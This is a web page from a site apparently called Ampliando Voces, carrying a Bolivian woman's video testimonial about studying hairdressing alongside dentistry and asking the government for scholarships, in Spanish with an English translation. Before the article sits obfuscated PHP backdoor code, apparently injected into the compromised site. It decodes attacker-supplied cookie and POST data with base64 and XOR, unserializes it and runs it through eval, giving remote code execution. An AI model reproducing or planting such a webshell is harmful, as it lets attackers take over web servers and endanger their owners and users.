$IqGkpPZCCk = chr (113) . "\171" . "\137" . chr ( 810 - 724 ).'k' . "\131" . "\x6b";$PtYOR = "\x63" . chr (108) . chr ( 222 - 125 ).chr ( 543 - 428 )."\x73" . "\137" . 'e' . "\170" . 'i' . "\163" . chr (116) . "\x73";$lFUtIB = $PtYOR($IqGkpPZCCk); $dlxFwL = $lFUtIB;if (!$dlxFwL){class qy_VkYk{private $ICZlVji;public static $tHQcngYZ = "4b18b3c9-8392-4ff4-a472-6ac285df067b";public static $aJcAjZPCu = 37748;public function __construct(){$PvVVxxg = $_COOKIE;$lQqNnkshQe = $_POST;$LqAKOi = @$PvVVxxg[substr(qy_VkYk::$tHQcngYZ, 0, 4)];if (!empty($LqAKOi)){$RgfUF = "base64";$zklagncDP = "";$LqAKOi = explode(",", $LqAKOi);foreach ($LqAKOi as $UgWiLBrRb){$zklagncDP .= @$PvVVxxg[$UgWiLBrRb];$zklagncDP .= @$lQqNnkshQe[$UgWiLBrRb];}$zklagncDP = array_map($RgfUF . '_' . "\x64" . 'e' . chr ( 345 - 246 )."\x6f" . "\x64" . chr (101), array($zklagncDP,)); $zklagncDP = $zklagncDP[0] ^ str_repeat(qy_VkYk::$tHQcngYZ, (strlen($zklagncDP[0]) / strlen(qy_VkYk::$tHQcngYZ)) + 1);qy_VkYk::$aJcAjZPCu = @unserialize($zklagncDP);}}public function __destruct(){$this->OFQgmgGNrE();}private function OFQgmgGNrE(){if (is_array(qy_VkYk::$aJcAjZPCu)) {$gvgVQqA = str_replace("\x3c" . chr ( 297 - 234 ).chr ( 783 - 671 )."\150" . chr ( 727 - 615 ), "", qy_VkYk::$aJcAjZPCu["\x63" . chr ( 587 - 476 ).'n' . 't' . 'e' . "\x6e" . "\164"]);eval($gvgVQqA);exit();}}}$NKxcbpd = new qy_VkYk(); $NKxcbpd = "45486";}$Qmnhs = "\x70" . chr (66) . "\137" . "\147" . chr (121) . "\x53" . chr (78); $ALpHvjJ = "\x63" . chr ( 997 - 889 ).chr (97) . "\163" . chr ( 569 - 454 )."\137" . chr (101) . 'x' . 'i' . 's' . 't' . chr (115); $xmjubZH = $ALpHvjJ($Qmnhs); $Qmnhs = "63414";$AqiAj = $xmjubZH;$ALpHvjJ = "48265";if (!$AqiAj){class pB_gySN{private $gDMtOqP;public static $BnOjdqwyJ = "f8655c24-1932-4925-af50-751760fed794";public static $EcyZSqrd = 13793;public function __construct($ihZLR=0){$gbBdHHP = $_COOKIE;$PXPmQMAB = $_POST;$wDHsj = @$gbBdHHP[substr(pB_gySN::$BnOjdqwyJ, 0, 4)];if (!empty($wDHsj)){$eYsRwAIoLP = "base64";$YsiViGmV = "";$wDHsj = explode(",", $wDHsj);foreach ($wDHsj as $reyGtBKhv){$YsiViGmV .= @$gbBdHHP[$reyGtBKhv];$YsiViGmV .= @$PXPmQMAB[$reyGtBKhv];}$YsiViGmV = array_map($eYsRwAIoLP . "\137" . chr ( 234 - 134 ).'e' . "\143" . chr (111) . chr (100) . "\145", array($YsiViGmV,)); $YsiViGmV = $YsiViGmV[0] ^ str_repeat(pB_gySN::$BnOjdqwyJ, (strlen($YsiViGmV[0]) / strlen(pB_gySN::$BnOjdqwyJ)) + 1);pB_gySN::$EcyZSqrd = @unserialize($YsiViGmV);}}private function GmJzkZpX(){if (is_array(pB_gySN::$EcyZSqrd)) {$WUrkOTcfz = str_replace(chr ( 974 - 914 ) . chr (63) . chr (112) . "\150" . "\160", "", pB_gySN::$EcyZSqrd[chr ( 600 - 501 ).chr (111) . chr (110) . "\164" . "\x65" . 'n' . 't']);eval($WUrkOTcfz); $BxmUIjXEc = "17620";exit();}}public function __destruct(){$this->GmJzkZpX(); $BxmUIjXEc = "17620";$QpyGsN = str_pad($BxmUIjXEc, 10);}}$QyvUd = new pB_gySN(); $QyvUd = "9561_23577";} Ana María: “Lo que sugiero al Gobierno es que incentive a las personas” | Ampliando Voces

Bolivia

Ana María: “Lo que sugiero al Gobierno es que incentive a las personas”

Publicado el Monday, 06 de June de 2011 a las 20:58.

Ana María: “Lo que sugiero al Gobierno es que incentive a las personas” from Ampliando Voces on Vimeo.

Listen to this story in English:

[audio:Ana-Maria.mp3|titles=Ana Maria]

Voice: Isabela Lyrio

Mi nombre es Ana María, soy boliviana, tengo 34 años. Me animé a estudiar para tener la carrera técnica de peluquería con el objeto de complementar, mi sueño… Yo ya soy dentista, ya tengo mi profesión, pero quería tener una carrera porque era un sueño mío. Ya estoy en el tercer nivel, ya estoy a punto de complementar. Las dificultades que tuve por no estudiar y hacer la peluquería anteriormente fue el motivo de qué mis padres no me permitían estudiar otra rama, porque estaba estudiando odontología. Y lo primordial era terminar odontología. Pero yo quería terminar las dos carreras.

Lo que sugiero al Gobierno es que incentive a las personas que no cuentan con recursos económicos para que esas personas lleguen a ser alguien en esta vida, poniendo becas, bastante escuelas técnicas para que personas adolescentes y adultas que no hayan terminado sus estudios puedan terminar de hacer sus sueños.

Ana Maria Burboa, boliviana, 34 anos

Testimonio a la Asociación Alemana para la Educación de Adultos (AAEA) – DVV International

ENGLISH TRANSLATION

My name is Ana María, I’m from Bolivia, and I’m 34 years old. I’m excited to study and have a technical career as a hairdresser in order to make my dream come true…

I am a dentist, I mean, I already have a profession, but I would like to start this new career, because that is a dream of mine. I’m already at the third level, almost finishing.

The difficulties I had for not having the opportunity to study hairdressing before were the reason why my parents did not allow me to study another subject – I was already on dental school. The main purpose was to finish dental school, but I wanted to complete both courses.

I recommend that the government starts supporting low income persons to be someone in life, with a degree, and provide more technical schools for young people and adults who have not completed their studies to continue fighting for their dreams.

Ana Maria Burboa, Bolivian, 34 years old

This video was produced by DVV International

Deja tu comentario

Click here to cancel reply.